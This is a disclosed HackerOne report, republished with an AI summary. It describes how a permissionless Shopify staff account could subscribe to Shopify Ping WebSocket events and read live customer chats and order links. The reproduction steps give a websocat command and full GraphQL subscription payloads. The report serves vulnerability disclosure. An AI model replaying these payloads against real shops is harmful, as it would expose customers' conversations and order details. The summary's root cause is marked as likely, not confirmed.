Staff with no permissions can listen to Shopify Ping conversations by registering to its different WebSocket Events
A staff account with no permissions could subscribe to internal WebSocket events on Shopify Ping's GraphQL endpoint and receive live conversation data. This let them observe customer chats and order information they should not have been able to see.
Originally disclosed on HackerOne
- Triaged in 3 days
- Fixed in 3 days
- Paid in 3 days
- Disclosed after 19 days
By registering to a few different Shopify Ping Websocket Events on the wss://argus.shopifycloud.com/graphql?shop_id={id} endpoint, a staff without any permission can listen to conversions with customers.
Steps to reproduce
- With a staff that doesn't have any permissions, login into the shop admin at
https://{shop}.myshopify.com/admin - Within your browser, open the Network inspection tab and copy the argus token value from the response of the GetToken operation that is being sent to
https://{shop}.myshopify.com/admin/internal/web/graphql/core - Using websocat command line tool or any other WebSocket client:
Open a connection
websocat "wss://argus.shopifycloud.com/graphql?shop_id={id}"
Send the authorization request by taking care of replacing the {token} with the actual value from Step 2
{"type":"connection_init","payload":{"Authorization":"{token}"}}
Register to different Events
{"id":"1","type":"start","payload":{"variables":{"eventName":"conversation"},"extensions":{},"operationName":"EventSubscription","query":"subscription EventSubscription($eventName: String!) {\n eventReceived(eventName: $eventName) {\n eventName\n shopId\n eventTimestamp\n eventUuid\n eventId\n eventScope\n eventSerialGroup\n eventSerialId\n eventSourceApp\n eventSourceHost\n internalSessionId\n remoteIp\n requestId\n schemaVersion\n userId\n payload\n __typename\n }\n}\n"}}
{"id":"2","type":"start","payload":{"variables":{"eventName":"message_status"},"extensions":{},"operationName":"EventSubscription","query":"subscription EventSubscription($eventName: String!) {\n eventReceived(eventName: $eventName) {\n eventName\n shopId\n eventTimestamp\n eventUuid\n eventId\n eventScope\n eventSerialGroup\n eventSerialId\n eventSourceApp\n eventSourceHost\n internalSessionId\n remoteIp\n requestId\n schemaVersion\n userId\n payload\n __typename\n }\n}\n"}}
{"id":"3","type":"start","payload":{"variables":{"eventName":"message"},"extensions":{},"operationName":"EventSubscription","query":"subscription EventSubscription($eventName: String!) {\n eventReceived(eventName: $eventName) {\n eventName\n shopId\n eventTimestamp\n eventUuid\n eventId\n eventScope\n eventSerialGroup\n eventSerialId\n eventSourceApp\n eventSourceHost\n internalSessionId\n remoteIp\n requestId\n schemaVersion\n userId\n payload\n __typename\n }\n}\n"}}
{"id":"4","type":"start","payload":{"variables":{"eventName":"participant"},"extensions":{},"operationName":"EventSubscription","query":"subscription EventSubscription($eventName: String!) {\n eventReceived(eventName: $eventName) {\n eventName\n shopId\n eventTimestamp\n eventUuid\n eventId\n eventScope\n eventSerialGroup\n eventSerialId\n eventSourceApp\n eventSourceHost\n internalSessionId\n remoteIp\n requestId\n schemaVersion\n userId\n payload\n __typename\n }\n}\n"}}
{"id":"5","type":"start","payload":{"variables":{"eventName":"read_state"},"extensions":{},"operationName":"EventSubscription","query":"subscription EventSubscription($eventName: String!) {\n eventReceived(eventName: $eventName) {\n eventName\n shopId\n eventTimestamp\n eventUuid\n eventId\n eventScope\n eventSerialGroup\n eventSerialId\n eventSourceApp\n eventSourceHost\n internalSessionId\n remoteIp\n requestId\n schemaVersion\n userId\n payload\n __typename\n }\n}\n"}}
4.Using your browser in Incognito, create a new Shopify Chat discussion by opening https://{shop}.myshopify.com/?chat and proceed with a customer order lookup operation
5.In your command line, observe that you'll be receiving any messages from that conversion along with the customer order status page link
Demo
███████
Impact
A staff without any permissions can listen to ongoing Shopify Ping conversions and therefore get access to some customer details and order informations.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the WebSocket event subscription endpoint authenticated the token but did not check the staff member's permissions before delivering conversation events.
Impact
A staff member without permissions could listen to ongoing Shopify Ping conversations and obtain some customer details and order information.
What the attacker needed
A staff account with no permissions; access to the shop admin
How it was found
- Log in to the shop admin as a staff member with no permissions.
- Copy the argus token from the GetToken response in the browser network tab.
- Open a WebSocket connection to the argus endpoint with the shop id.
- Send the connection init message with the copied token.
- Subscribe to the conversation, message, participant and related events.
- Start a customer chat in incognito and watch the messages arrive in the terminal.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Shopify Ping sends live chat updates over a WebSocket. A staff member with no permissions could subscribe to these events and receive conversation and order details.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.